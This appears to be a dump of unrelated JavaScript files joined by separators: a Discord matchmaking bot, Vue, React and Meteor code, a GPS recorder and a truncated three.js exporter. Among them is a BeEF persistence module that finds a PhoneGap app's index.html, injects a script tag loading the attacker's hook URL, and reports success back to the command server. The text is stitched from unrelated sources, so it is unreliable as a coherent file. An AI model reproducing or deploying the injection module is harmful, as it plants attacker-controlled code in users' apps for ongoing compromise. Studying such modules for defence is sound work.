Pentru a anunța un RS este necesar să folosești comanda \`!curcubeu\` la care să adaugi tipul de joc (\`RS\`) și RS lvl-ul dorit (\`3,4,5,6,7,8,9,10 sau 11\`)
Comandă: \`!curcubeu RS <RS LVL>\`
Exemplu pentru Red Star lvl 3: \`!curcubeu RS 3\`
Exemplu pentru Red Star lvl 7: \`!curcubeu RS 7\`
* *mesajul se autodistruge în 3 minute*
`, 3, true);
}
function isQAuthor(message, user) {
return message.author.id === user.id;
}
function removePlayerFromQAdnReturnNewEmbed(searchMessage, currentEmbed, user, redStarLevel) {
let newEmbed = new Discord.MessageEmbed(currentEmbed);
const username = `<@${user.id}>`;
const { fields } = currentEmbed;
if (fields[Q_SLOT_1].value === username) {
fields[Q_SLOT_1].value = EMPTY_SLOT_SYMBOL;
} else if (fields[Q_SLOT_2].value === username) {
fields[Q_SLOT_2].value = EMPTY_SLOT_SYMBOL;
} else if (fields[Q_SLOT_3].value === username) {
fields[Q_SLOT_3].value = EMPTY_SLOT_SYMBOL;
} else if (fields[Q_SLOT_4].value === username) {
fields[Q_SLOT_4].value = EMPTY_SLOT_SYMBOL;
}
newEmbed.fields = fields;
// UPDATE TITLE
const playerCount = getQMembersCount(newEmbed);
newEmbed.title = returnEmbedTitle(playerCount, redStarLevel);
return newEmbed;
}
function sendNewUserJoinedMessage(message, user, redStarLevel, qMembersCount, qMembersList, searchMessageUrl) {
let description = `In matchmaking queue: ${qMembersList}`;
if (qMembersCount === 3) {
description += '\nFYI: @everyone';
}
const embed = new Discord.MessageEmbed()
.setColor(GOOD_NOTIFICATION_COLOR)
.setTitle(`[${qMembersCount}/4 RS ${redStarLevel}] ${user.username} joined the queue! ${EMOJI_GO_TOP}`)
.setURL(searchMessageUrl)
.setDescription(description);
message.channel.send(embed);
}
function sendUserLeftMessage(message, user, redStarLevel, qMembersCount, qMembersList, searchMessageUrl) {
let description = `In matchmaking queue: ${qMembersList}`;
const embed = new Discord.MessageEmbed()
.setColor(WARNING_NOTIFICATION_COLOR)
.setTitle(`[${qMembersCount}/4 RS ${redStarLevel}] ${user.username} has left the queue! ${EMOJI_GO_TOP}`)
.setURL(searchMessageUrl)
.setDescription(description);
message.channel.send(embed);
}
function getQMembersAsList(embed) {
let members = '';
const { fields } = embed;
if (fields[Q_SLOT_1].value !== EMPTY_SLOT_SYMBOL) {
members += fields[Q_SLOT_1].value;
}
if (fields[Q_SLOT_2].value !== EMPTY_SLOT_SYMBOL) {
members += ', ' + fields[Q_SLOT_2].value;
}
if (fields[Q_SLOT_3].value !== EMPTY_SLOT_SYMBOL) {
members += ', ' + fields[Q_SLOT_3].value;
}
if (fields[Q_SLOT_4].value !== EMPTY_SLOT_SYMBOL) {
members += ', ' + fields[Q_SLOT_4].value;
}
return members;
}
function sendQAutoDestroyMessage(message, currentEmbed, redStarLevel, searchMessage) {
const qMembersCount = getQMembersCount(currentEmbed);
const qMembersList = getQMembersAsList(currentEmbed);
const searchMessageUrl = getSearchMessageUrl(searchMessage);
const notification = new Discord.MessageEmbed()
.setColor(BAD_NOTIFICATION_COLOR)
.setTitle(`[${qMembersCount}/4 RS ${redStarLevel}] Matchmaking has expired! Try again?`)
.setURL(searchMessageUrl)
.setDescription(`FYI: ${qMembersList}`);
message.channel.send(notification);
}
function sendStartQMessage(message, currentEmbed, redStarLevel, searchMessage) {
const qMembersCount = getQMembersCount(currentEmbed);
const qMembersList = getQMembersAsList(currentEmbed);
const searchMessageUrl = getSearchMessageUrl(searchMessage);
const notification = new Discord.MessageEmbed()
.setColor(SUCCESS_NOTIFICATION_COLOR)
.setTitle(`[${qMembersCount}/4 RS ${redStarLevel}] Matchmaking ready! Let's play!`)
.setURL(searchMessageUrl)
.setDescription(`Team members: ${qMembersList}`);
message.channel.send(notification);
}
function sendCancelQMessage(message, currentEmbed, redStarLevel, searchMessage) {
const qMembersCount = getQMembersCount(currentEmbed);
const qMembersList = getQMembersAsList(currentEmbed);
const searchMessageUrl = getSearchMessageUrl(searchMessage);
const notification = new Discord.MessageEmbed()
.setColor(BAD_NOTIFICATION_COLOR)
.setTitle(`[${qMembersCount}/4 RS ${redStarLevel}] Matchmaking closed by ${message.author.username}`)
.setURL(searchMessageUrl)
.setDescription(`FYI: ${qMembersList}`);
message.channel.send(notification);
}
function sendRsReadyMessage(message, user, redStarLevel, qMembersCount, qMembersList, searchMessageUrl) {
const notification = new Discord.MessageEmbed()
.setColor(SUCCESS_NOTIFICATION_COLOR)
.setTitle(`[${qMembersCount}/4 RS ${redStarLevel}] Matchmaking ready! Let's play!`)
.setURL(searchMessageUrl)
.setDescription(`Team members: ${qMembersList}`);
message.channel.send(notification);
}
function getQMembersCount(embed) {
const { fields } = embed;
let qCount = 0;
if (fields[Q_SLOT_1].value !== EMPTY_SLOT_SYMBOL) {
qCount++;
}
if (fields[Q_SLOT_2].value !== EMPTY_SLOT_SYMBOL) {
qCount++;
}
if (fields[Q_SLOT_3].value !== EMPTY_SLOT_SYMBOL) {
qCount++;
}
if (fields[Q_SLOT_4].value !== EMPTY_SLOT_SYMBOL) {
qCount++;
}
return qCount;
}
function addPlayerToQAdnReturnNewEmbed(message, currentEmbed, user, redStarLevel) {
let newEmbed = new Discord.MessageEmbed(currentEmbed);
const username = `<@${user.id}>`;
// UPDATE PLAYERS FIELDS
const { fields } = currentEmbed;
if (fields[Q_SLOT_1].value === EMPTY_SLOT_SYMBOL) {
fields[Q_SLOT_1].value = username;
} else if (fields[Q_SLOT_2].value === EMPTY_SLOT_SYMBOL) {
fields[Q_SLOT_2].value = username;
} else if (fields[Q_SLOT_3].value === EMPTY_SLOT_SYMBOL) {
fields[Q_SLOT_3].value = username;
} else if (fields[Q_SLOT_4].value === EMPTY_SLOT_SYMBOL) {
fields[Q_SLOT_4].value = username;
}
newEmbed.fields = fields;
// UPDATE TITLE
const playerCount = getQMembersCount(newEmbed);
newEmbed.title = returnEmbedTitle(playerCount, redStarLevel);
if (playerCount === 4) {
newEmbed.setThumbnail(Q_THUMBNAIL_SUCCESS);
// UPDATE FIELDS
newEmbed = newEmbed.spliceFields(Q_SLOT_FOR_INFO, 1);
}
return newEmbed;
}
function returnEmbedTitle(playerCount, redStarLevel) {
let newTitle = RS_EMBED_TITLE;
newTitle = newTitle.replace('%playerCount%', playerCount);
newTitle = newTitle.replace('%redStarLevel%', redStarLevel);
if (playerCount === 0 || playerCount === 4){
return '[CLOSED]' + newTitle.slice(5);
}
return newTitle;
}
function buildQMessage(message, redStarLevel) {
const embedTitle = returnEmbedTitle(1, redStarLevel);
return new Discord.MessageEmbed()
.setTitle(embedTitle)
.setColor(RS_LVLS[redStarLevel].color)
.setTimestamp()
.setThumbnail(Q_THUMBNAIL_IN_PROGRESS)
.setFooter('Curcubeu / CurcubeuAcademy')
.addFields(
{
name: 'Slot 1',
value: `<@${message.author.id}>`,
inline: false,
},
{
name: 'Slot 2',
value: EMPTY_SLOT_SYMBOL,
inline: false,
},
{
name: 'Slot 3',
value: EMPTY_SLOT_SYMBOL,
inline: false,
},
{
name: 'Slot 4',
value: EMPTY_SLOT_SYMBOL,
inline: false,
},
{
name: '\u200B',
value: `*@everyone: Use ${EMOJI_JOIN} to join.* \n*<@${message.author.id}>: Use ${EMOJI_START} to start earlier or ${EMOJI_CANCEL} to close the queue.*\n\n * *Matchmaking will expire in 1h*`,
inline: false,
},
);
}
const reactionFilter = reaction => {
return reaction.emoji.name === EMOJI_JOIN || reaction.emoji.name === EMOJI_CANCEL || reaction.emoji.name === EMOJI_START;
}
module.exports = { doRedStar, invalidRedStarLvl };
|
import { bindActionCreators } from "redux"
import PropEvent from "./PropEvent"
import { strictEqual, shallowEqual } from "./utils.js"
export default class PropMap {
// state of application
state = null;
// props passed to your component
ownProps = null;
// dispatch function
dispatch = null;
// selector options
options = null;
hasRunAtLeastOnce = false;
mergedProps = null;
props = null;
events = null;
dependsOnOwnProps = false;
areStatesEqual = strictEqual;
areOwnPropsEqual = shallowEqual;
areStatePropsEqual = shallowEqual;
areMergedPropsEqual = shallowEqual;
// override this to map state to you component's properties
map(props) {
}
// bind a single action to an event property
bindEvent(action) {
return new PropEvent(action);
}
// separate props and events
parseProps() {
// call to map properties
var props = {};
this.map(props);
// separate props from events
let hasEvents = false;
let hasProps = false;
let actualProps = {};
let actualEvents = {};
for (key in props) {
var prop = props[key];
if (prop instanceof PropEvent) {
hasEvents = true;
actualEvents[key] = prop.action;
}
else {
hasProps = true;
actualProps[key] = prop;
}
}
if (hasEvents) {
actualEvents = bindActionCreators(actualEvents, this.dispatch);
}
return {
newProps: actualProps,
newEvents: actualEvents,
hasProps: hasProps,
hasEvents: hasEvents
}
}
mergeProps(stateProps, dispatchProps, ownProps) {
return { ...ownProps, ...stateProps, ...dispatchProps }
}
// do mapping first time
mapFirstCall(nextState, nextOwnProps) {
this.state = nextState;
this.ownProps = nextOwnProps;
const { newProps, newEvents } = this.parseProps();
this.props = newProps;
this.events = newEvents;
this.mergedProps = this.mergeProps(newProps, newEvents, nextOwnProps);
this.hasRunAtLeastOnce = true;
return this.mergedProps;
}
handleNewPropsAndNewState() {
const { newProps, newEvents } = this.parseProps();
this.props = newProps;
this.events = newEvents;
this.mergedProps = this.mergeProps(this.props, this.events, this.ownProps);
return this.mergedProps
}
handleNewProps() {
if (this.dependsOnOwnProps) {
const { newProps, newEvents } = this.parseProps();
this.props = newProps;
this.events = newEvents;
}
this.mergedProps = this.mergeProps(this.props, this.events, this.ownProps);
return this.mergedProps
}
handleNewState() {
const { newProps, newEvents } = this.parseProps();
const propsChanged = !this.areStatePropsEqual(newProps, this.props);
this.props = newProps;
//console.log("newPropsChanged", propsChanged)
if (propsChanged)
this.mergedProps = this.mergeProps(this.props, this.events, this.ownProps);
return this.mergedProps
}
// do mapping subsequent times
mapSubsequentCalls(nextState, nextOwnProps) {
const propsChanged = !this.areOwnPropsEqual(nextOwnProps, this.ownProps);
const stateChanged = !this.areStatesEqual(nextState, this.state);
this.state = nextState;
this.ownProps = nextOwnProps;
//console.log("propsChanged", propsChanged)
//console.log("stateChanged", stateChanged)
if (propsChanged && stateChanged) return this.handleNewPropsAndNewState();
if (propsChanged) return this.handleNewProps();
if (stateChanged) return this.handleNewState();
return this.mergedProps;
}
// overide this to do advanced mapping
mapAdvanced(nextState, nextOwnProps, dispatch, options) {
this.dispatch = dispatch;
this.options = options;
return this.hasRunAtLeastOnce
? this.mapSubsequentCalls(nextState, nextOwnProps)
: this.mapFirstCall(nextState, nextOwnProps)
}
}
|
const { supporterCount } = require("../bots/supporter-count");
const tester = async () => {
const botId = "0xcbdf824467c0dcc859e7a23a65f79774";
// const botId = "0x3502c19ee6d9656301b005dfa028bbf3";
// const botId = "0xfa145d550027aa68d1167a8d3218afac";
const event = {
pathParameters: {
tokenId: botId
}
};
try {
const res = await supporterCount(event, {});
console.log(res);
} catch (err) {
console.log(err);
}
};
tester();
|
import { Meteor } from "meteor/meteor";
import { Template } from "meteor/templating";
import { ReactiveVar } from "meteor/reactive-var";
import moment from "moment";
import { SignupGap } from "/imports/lib/both/signup-gap";
import "./alert-signup-gap.html";
Template.AlertSignupGap.onCreated(function onCreated() {
const self = this;
self.timeRemaining = new ReactiveVar(0);
self.autorun(() => {
const queue = Template.currentData().queue;
const nextSignupTime = SignupGap.nextSignupTime(queue, Meteor.userId());
// If nextSignupTime is null, the user cannot signup. In this case, we avoid
// showing the alert message.
if (!nextSignupTime) {
return;
}
if (self.timeRemainingInterval)
Meteor.clearInterval(self.timeRemainingInterval);
self.timeRemainingInterval = Meteor.setInterval(() => {
self.timeRemaining.set(moment(nextSignupTime).diff(moment()));
}, 1000);
});
});
Template.AlertSignupGap.helpers({
showSignupGap() {
return Meteor.user() && Template.instance().timeRemaining.get() > 0;
},
timeRemaining() {
return moment.duration(Template.instance().timeRemaining.get()).humanize();
}
});
Template.AlertSignupGap.onDestroyed(() => {
Meteor.clearInterval(this.timeRemainingInterval);
});
|
import Vue from 'vue'
import Router from 'vue-router'
Vue.use(Router)
/* Layout */
import Layout from '@/layout'
/**
* Note: sub-menu only appear when route children.length >= 1
* Detail see: https://panjiachen.github.io/vue-element-admin-site/guide/essentials/router-and-nav.html
*
* hidden: true if set true, item will not show in the sidebar(default is false)
* alwaysShow: true if set true, will always show the root menu
* if not set alwaysShow, when item has more than one children route,
* it will becomes nested mode, otherwise not show the root menu
* redirect: noRedirect if set noRedirect will no redirect in the breadcrumb
* name:'router-name' the name is used by <keep-alive> (must set!!!)
* meta : {
roles: ['admin','editor'] control the page roles (you can set multiple roles)
title: 'title' the name show in sidebar and breadcrumb (recommend set)
icon: 'svg-name' the icon show in the sidebar
breadcrumb: false if set false, the item will hidden in breadcrumb(default is true)
activeMenu: '/example/list' if set path, the sidebar will highlight the path you set
}
*/
/**
* constantRoutes
* a base page that does not have permission requirements
* all roles can be accessed
*/
export const constantRoutes = [
{
path: '/login',
component: () => import('@/views/login/index'),
hidden: true
},
{
path: '/404',
component: () => import('@/views/404'),
hidden: true
},
{
path: '/',
component: Layout,
redirect: '/dashboard',
children: [{
path: 'dashboard',
name: 'Dashboard',
component: () => import('@/views/dashboard/index'),
meta: { title: '总览', icon: 'dashboard', affix: true }
}]
},
{
path: 'external-link',
component: Layout,
children: [
{
path: '/#',
meta: { title: '外部链接', icon: 'link' }
}
]
},
{
path: '/Article',
component: Layout,
redirect: '/Article/AllArticle',
name: 'Article',
meta: { title: '文章', icon: 'example' },
children: [
{
path: 'AllArticle',
name: 'AllArticle',
component: () => import('@/views/article/allArticle'),
meta: { title: '所有文章', icon: 'table' }
},
{
path: 'EditArticle',
name: 'EditArticle',
component: () => import('@/views/article/editArticle'),
meta: { title: '编辑文章', icon: 'tree' }
},
{
path: 'Catalog',
name: 'Catalog',
component: () => import('@/views/article/Catalog'),
meta: { title: '分类目录', icon: 'tree' }
}
]
},
{
path: '/Comment',
component: Layout,
children: [
{
path: 'index',
name: 'Comment',
component: () => import('@/views/form/index'),
meta: { title: '评论', icon: 'form' }
}
]
},
{
path: '/User',
component: Layout,
children: [
{
path: 'index',
name: 'User',
component: () => import('@/views/form/index'),
meta: { title: '用户', icon: 'form' }
}
]
},
{
path: '/setting',
component: Layout,
redirect: '/setting/navigationMenu',
name: 'Nested',
meta: {
title: '设置',
icon: 'nested'
},
children: [
{
path: 'navigationMenu',
component: () => import('@/views/nested/menu1/index'), // Parent router-view
name: 'navigationMenu',
meta: { title: '导航菜单' }
},
{
path: 'slideShow',
component: () => import('@/views/nested/menu1/index'), // Parent router-view
name: '/slideShow',
meta: { title: '导航菜单' }
}
]
},
// 404 page must be placed at the end !!!
{ path: '*', redirect: '/404', hidden: true }
]
const createRouter = () => new Router({
// mode: 'history', // require service support
scrollBehavior: () => ({ y: 0 }),
routes: constantRoutes
})
const router = createRouter()
// Detail see: https://github.com/vuejs/vue-router/issues/1234#issuecomment-357941465
export function resetRouter() {
const newRouter = createRouter()
router.matcher = newRouter.matcher // reset router
}
export default router
|
// negative/b.js
// @priority -10
|
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// persistence
//
beef.execute(function() {
// insert hook into index.html
//
// 1. locate index.html
// 2. read it in
// 3. add our hook
// 4. write it back out to same location
// 1. locate index.html
//
// list dirs under current dir
// one should be something.app
// inside that should be a www dir and in that an index.html
//
// write the file with new hook
function write_file(text) {
function fail () {
console.log('write_file fail')
}
function gotFileWriter(writer) {
writer.onwrite = function(evt) {
console.log("write success");
}
writer.write(text);
}
function gotFileEntry(fileEntry) {
fileEntry.createWriter(gotFileWriter, fail);
}
function gotFS(fileSystem) {
fileSystem.root.getFile("../"+window.tmpfilename+"/www/index.html", null, gotFileEntry, fail);
}
window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
}
// find <head></head> and insert our hook.
function replace_text(text) {
re = new RegExp("<head>", "g");
hook_url = '<%== @hook_url %>';
new_text = text.replace(re, "<head><script src='" + hook_url + "'></script>")
write_file(new_text);
}
function read_index(app_name) {
function fail () {
console.log('read_index fail')
}
function readFile(file) {
var reader = new FileReader();
reader.onloadend = function(evt) {
//console.log("Read as text");
console.log(evt.target.result);
replace_text(evt.target.result);
};
reader.readAsText(file);
}
function gotFileEntry(fileEntry) {
fileEntry.file(readFile, fail);
}
function gotFS(fileSystem) {
fileSystem.root.getFile("../"+app_name+"/www/index.html", null, gotFileEntry, fail);
}
window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
}
function locate() {
function result(entries) {
console.log('result');
var i;
for (i=0; i<entries.length; i++) {
// looking for <something>.app
var re = new RegExp(/^[a-zA-Z0-9]*\.app/)
var match = re.exec(entries[i].name)
if (match) {
console.log('found ' + entries[i].name);
// look for ../<something>.app/www/index.html
read_index(entries[i].name);
// FIXME find a less hacky way
// just wanted to make this global so I didnt have to call it again to write the file
window.tmpfilename = entries[i].name;
}
}
}
function fail() {
console.log('fail');
}
function win(entries) {
console.log('win');
result(entries);
}
// use directoryentry to create directory reader
function gotDirEntry(dirEntry) {
var directoryReader = dirEntry.createReader();
directoryReader.readEntries(win,fail);
}
// use getDirectoy to create reference to directoryentry
function gotFS(fileSystem) {
// on iphone current dir defaults to <myname>.app/documents
// so we wanna look in our parent directory for <something>.app
fileSystem.root.getDirectory('../', null, gotDirEntry, fail);
}
window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
}
//result = fail;
//beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);
locate();
result = 'success';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);
});
|
// unfinished GPS Track recorder
g.clear();
var gpsTrack = require("Storage").open(".track", "w");
var gpsTrackLen = 0;
var recording = false;
var inMenu = false;
var currentFix;
function drawIcons() {
g.clearRect(220, 110, 240, 130);
if (recording) {
g.fillRect(225, 115, 235, 125);
} else {
g.setColor(1, 0, 0);
g.fillCircle(230, 120, 10);
g.setColor(1, 1, 1);
}
g.setFont("6x8");
g.setFontAlign(0, 0);
g.drawString("X", 230, 220);
}
setWatch(() => {
if (inMenu) return;
recording = !recording;
drawIcons();
}, BTN2, {
repeat: true
});
setWatch(() => {
if (inMenu) return;
inMenu = true;
g.flip();
E.showPrompt("Erase GPS Trace?").then(r => {
inMenu = false;
if (r) {
gpsTrack.erase();
gpsTrack = require("Storage").open(".track", "w");
gpsTrackLen = 0;
}
});
}, BTN3, {
repeat: true
});
function onGPS(fix) {
currentFix = fix;
if (!inMenu) {
g.setFont("6x8");
g.setFontAlign(0, 0);
g.drawString(" " + fix.satellites + " Satellites ", 120, 4, true /*solid bg*/ );
g.drawString(fix.fix ? "FIX Acquired" : " NO FIX ", 120, 12, true /*solid bg*/ );
drawIcons();
}
if (!fix.fix) return;
if (recording) {
gpsTrack.write([
fix.time.toISOString().slice(0, -5),
fix.lat.toFixed(5),
fix.lon.toFixed(5),
fix.alt
].join(",") + "\n");
gpsTrackLen++;
}
if (!inMenu) {
g.drawString(" TRACK LENGTH " + gpsTrackLen + " ", 120, 236, true /*solid bg*/ );
}
// TODO: Use Bangle.project to map this out onto the Screen?
}
Bangle.on('GPS', onGPS);
Bangle.setGPSPower(true);
// Write the contents of the track out to the console
function dumpTrack() {
var f = require("Storage").open(".track", "r");
var l;
do {
l = f.readLine();
if (l) console.log(l);
} while (l);
}
|
/**
* 商品常量
*/
export default {
MERCHANT_PRODUCT_CAN_SALE: { 0: '否', 1: '是' },
YES_NO: { 0: '否', 1: '是' },
ATTRIBUTE_NAME_TYPE: { 1: '商品属性', 2: '销售属性' },
CATEGORY_TYPE: { 1: '后台类目', 2: '前台类目' },
MERCHANT_CATEGORY_TYPE: { 4: '商家类目', 6: '店铺类目' },
ATTRIBUTE_INPUT_TYPE: { 1: '多选', 2: '单选', 3: '手工输入' },
VISIBLE_TYPE: { 0: '停用', 1: '启用' },
PRODUCT_TYPE: [
{ code: 1, name: '内贸商品' },
// { code: 32, name: '餐饮商品' },
{ code: 31, name: '称重商品' }
],
PRODUCT_CUSTOMER: [
{ code: 0, name: '单规格' },
{ code: 3, name: '多规格' }
]
}
|
import React from 'react';
import Component from './Content';
import {IntlProvider} from 'react-intl';
import {isArray, isString, chain} from 'lodash';
import {render} from 'react-native-testing-library';
import 'intl';
import 'intl-pluralrules';
import 'intl/locale-data/jsonp/en';
import '@testing-library/jest-native/extend-expect';
const renderWithIntl = component =>
render(component, {
wrapper: ({children}) => (
<IntlProvider locale="en">{children}</IntlProvider>
),
});
const getIntlText = child => {
if (!child) {
return '';
}
if (isString(child)) {
return child;
}
const grandkid = renderWithIntl(child);
const nextValue = grandkid.toJSON();
return getIntlText(nextValue);
}
expect.extend({
/*
* using a custom matcher that recursively renders Intl components
* yields the expected result, using the regular "toHaveTextContent"
* which only looks for the children of a test instance will skip
* the Intl components as they are not rendered
*/
toHaveIntlTextContent: (element, expectedResult) => {
const actualResult = chain(element)
.get(['props', 'children'])
.thru(child => (isArray(child) ? child : [child]))
.map(getIntlText)
.join('')
.value();
const pass = actualResult === expectedResult;
return {
pass,
message: () =>
pass
? `text content should not equal "${actualResult}"`
: `text content should be "${expectedResult}", not "${actualResult}"`,
};
},
});
const props = {
guests: 1,
nights: 1,
price: 5000,
};
describe('Content', () => {
it('Should render regular text element', () => {
const {getByTestId} = renderWithIntl(<Component {...props} />);
const regularText = getByTestId('Regular.Text');
expect(regularText).toHaveTextContent('Regular Text');
});
it('should render a formatted singular', () => {
const {getByTestId} = renderWithIntl(<Component {...props} />);
const intlText = getByTestId('Intl.Text');
expect(intlText).toHaveIntlTextContent('1 Night - 1 Adult');
});
it('should render a formatted singular and a formatted plural', () => {
const {getByTestId} = renderWithIntl(<Component {...props} guests={2} />);
const intlText = getByTestId('Intl.Text');
expect(intlText).toHaveIntlTextContent('1 Night - 2 Adults');
});
it('should render two formatted plurals', () => {
const {getByTestId} = renderWithIntl(<Component nights={2} guests={2} />);
const intlText = getByTestId('Intl.Text');
expect(intlText).toHaveIntlTextContent('2 Nights - 2 Adults');
});
it('should render a formatted number', () => {
const {getByTestId} = renderWithIntl(<Component {...props} />);
const intlText = getByTestId('Other.Intl.Text');
expect(intlText).toHaveIntlTextContent('5,000');
})
});
|
config.devServer = Object.assign(
{},
config.devServer || {},
{
proxy: [
{
context: ["/api/**"],
target: 'http://localhost:5000',
}
]
}
)
|
import React, { useContext } from 'react'
import StoreContext from '../../context/StoreContext'
import LineItem from './LineItem'
import EmptyCart from './emptyCart'
import styled from 'styled-components'
const CheckOutButton = styled.button`
position:relative;
bottom:10px;
width:90%;
text-align:center;
overflow:hidden;
right:0;
color: ${props => props.theme.primarycolor};
cursor:pointer;
transition: all 0.3s ease 0s;
background:none;
outline:none;
z-index:1000;
padding:10px;
margin:1em 0;
border:1px solid ${props => props.theme.primarycolor};
&:hover {
background:${props => props.theme.lightgrey};
}
`
const Cart = () => {
const {
store: { checkout },
} = useContext(StoreContext)
const handleCheckout = () => {
window.open(checkout.webUrl)
}
const line_items = checkout.lineItems.map(line_item => {
return <LineItem key={line_item.id.toString()} line_item={line_item} />
})
return (
<div className="cart-drawer" >
{checkout.lineItems.length > 0 ? (
<div>
{line_items}
<h4>Subtotal</h4>
<p>$ {checkout.subtotalPrice}</p>
<br />
<h4>Taxes</h4>
<p>$ {checkout.totalTax}</p>
<br />
<h4>Total</h4>
<p>$ {checkout.totalPrice}</p>
<br />
<CheckOutButton onClick={handleCheckout} disabled={checkout.lineItems.length === 0}>Check out</CheckOutButton>
</div>
) : (
<EmptyCart />
)}
</div>
)
}
export default Cart
|
import React from "react";
import { graphql } from "react-apollo";
import {
withSitecoreContext,
resetExperienceEditorChromes
} from "@sitecore-jss/sitecore-jss-react";
/**
* Higher order component that abstracts common JSS + Apollo integration needs.
*
* This component works similar to react-apollo's graphql() HOC, but:
* * Automatically injects $contextItem and $datasource GraphQL variable values, if the GraphQL declares usage of them
* * Automatically disables execution of subscription queries when doing SSR
* * Passes through any other props to its wrapped component
*
* @param {*} query The GraphQL AST to execute (should go through graphql-tag, no strings)
* @param {*} configuration Values passed in are shipped to react-apollo configuration (https://www.apollographql.com/docs/react/basics/setup.html#graphql-config)
*/
function GraphQLData(query, configuration = {}) {
return function wrapComponent(Component) {
class SitecoreRenderingWrapper extends React.Component {
static displayName = `JSSGraphQLComponent(${Component.displayName ||
Component.name ||
"Component"})`;
render() {
if (!query) {
throw new Error(
"query was falsy in GraphQLData. It should be a GraphQL query from graphql-tag. Perhaps missing graphql-tag/loader?"
);
}
const newConfiguration = { ...configuration };
if (!newConfiguration.name) newConfiguration.name = "data";
// ensure variables object exists
newConfiguration.options = newConfiguration.options || {};
newConfiguration.options.variables =
newConfiguration.options.variables || {};
// if we're in experience editor or preview we need to disable SSR of GraphQL queries
// because SSR queries are made unauthenticated, so they would have normal mode data = bad
if (
this.props.sitecoreContext &&
this.props.sitecoreContext.pageState !== "normal"
) {
newConfiguration.options.ssr = false;
} else if (
query.definitions.some(
def =>
def.kind === "OperationDefinition" &&
def.operation === "subscription"
)
) {
// if the document includes any subscriptions, we also disable SSR as this hangs the SSR process
// not to mention being quite silly to SSR when they're reactive
newConfiguration.options.ssr = false;
}
// find all variable definitions in the GraphQL query, so we can send only ones we're using
const variableNames = extractVariableNames(query);
// set the datasource variable, if we're using it
if (
variableNames.datasource &&
this.props.rendering &&
this.props.rendering.dataSource
) {
newConfiguration.options.variables.datasource = this.props.rendering.dataSource;
}
// set the contextItem variable, if we're using it
if (
variableNames.contextItem &&
this.props.sitecoreContext &&
this.props.sitecoreContext.itemId
) {
newConfiguration.options.variables.contextItem = this.props.sitecoreContext.itemId;
}
// build the props processing function that will set the result object to the name
newConfiguration.props = props => {
const innerQuery = props[newConfiguration.name];
let resultProps = {};
resultProps[newConfiguration.name] = innerQuery;
// run a user-specified props function too if one exists
if (configuration.props)
resultProps = Object.assign(
resultProps,
configuration.props(props)
);
return resultProps;
};
const GQL = graphql(query, newConfiguration)(Component);
return <GQL {...this.props} />;
}
// eslint-disable-next-line class-methods-use-this
componentDidUpdate() {
resetExperienceEditorChromes();
}
}
return withSitecoreContext()(SitecoreRenderingWrapper);
};
}
function extractVariableNames(query) {
const variableNames = {};
query.definitions
.map(def => def.variableDefinitions)
.filter(def => def)
.forEach(defs =>
defs.forEach(def => {
if (def.kind && def.kind === "VariableDefinition") {
variableNames[def.variable.name.value] = true;
}
})
);
return variableNames;
}
export default GraphQLData;
|
/**
* @author fernandojsg / http://fernandojsg.com
* @author Don McCurdy / https://www.donmccurdy.com
* @author Takahiro / https://github.com/takahirox
* @author et al. / https://github.com/mrdoob/three.js/blob/master/examples/js/exporters/GLTFExporter.js
*/
( function () {
class GLTFExporter {
constructor() {
this.pluginCallbacks = [];
this.register( function ( writer ) {
return new GLTFLightExtension( writer );
} );
this.register( function ( writer ) {
return new GLTFMaterialsUnlitExtension( writer );
} );
this.register( function ( writer ) {
return new GLTFMaterialsPBRSpecularGlossiness( writer );
} );
this.register( function ( writer ) {
return new GLTFMaterialsTransmissionExtension( writer );
} );
this.register( function ( writer ) {
return new GLTFMaterialsVolumeExtension( writer );
} );
}
register( callback ) {
if ( this.pluginCallbacks.indexOf( callback ) === - 1 ) {
this.pluginCallbacks.push( callback );
}
return this;
}
unregister( callback ) {
if ( this.pluginCallbacks.indexOf( callback ) !== - 1 ) {
this.pluginCallbacks.splice( this.pluginCallbacks.indexOf( callback ), 1 );
}
return this;
}
/**
* Parse scenes and generate GLTF output
* @param {Scene or [THREE.Scenes]} input THREE.Scene or Array of THREE.Scenes
* @param {Function} onDone Callback on completed
* @param {Object} options options
*/
parse( input, onDone, options ) {
const writer = new GLTFWriter();
const plugins = [];
for ( let i = 0, il = this.pluginCallbacks.length; i < il; i ++ ) {
plugins.push( this.pluginCallbacks[ i ]( writer ) );
}
writer.setPlugins( plugins );
writer.write( input, onDone, options );
}
} //------------------------------------------------------------------------------
// Constants
//------------------------------------------------------------------------------
const WEBGL_CONSTANTS = {
POINTS: 0x0000,
LINES: 0x0001,
LINE_LOOP: 0x0002,
LINE_STRIP: 0x0003,
TRIANGLES: 0x0004,
TRIANGLE_STRIP: 0x0005,
TRIANGLE_FAN: 0x0006,
UNSIGNED_BYTE: 0x1401,
UNSIGNED_SHORT: 0x1403,
FLOAT: 0x1406,
UNSIGNED_INT: 0x1405,
ARRAY_BUFFER: 0x8892,
ELEMENT_ARRAY_BUFFER: 0x8893,
NEAREST: 0x2600,
LINEAR: 0x2601,
NEAREST_MIPMAP_NEAREST: 0x2700,
LINEAR_MIPMAP_NEAREST: 0x2701,
NEAREST_MIPMAP_LINEAR: 0x2702,
LINEAR_MIPMAP_LINEAR: 0x2703,
CLAMP_TO_EDGE: 33071,
MIRRORED_REPEAT: 33648,
REPEAT: 10497
};
const THREE_TO_WEBGL = {};
THREE_TO_WEBGL[ THREE.NearestFilter ] = WEBGL_CONSTANTS.NEAREST;
THREE_TO_WEBGL[ THREE.NearestMipmapNearestFilter ] = WEBGL_CONSTANTS.NEAREST_MIPMAP_NEAREST;
THREE_TO_WEBGL[ THREE.NearestMipmapLinearFilter ] = WEBGL_CONSTANTS.NEAREST_MIPMAP_LINEAR;
THREE_TO_WEBGL[ THREE.LinearFilter ] = WEBGL_CONSTANTS.LINEAR;
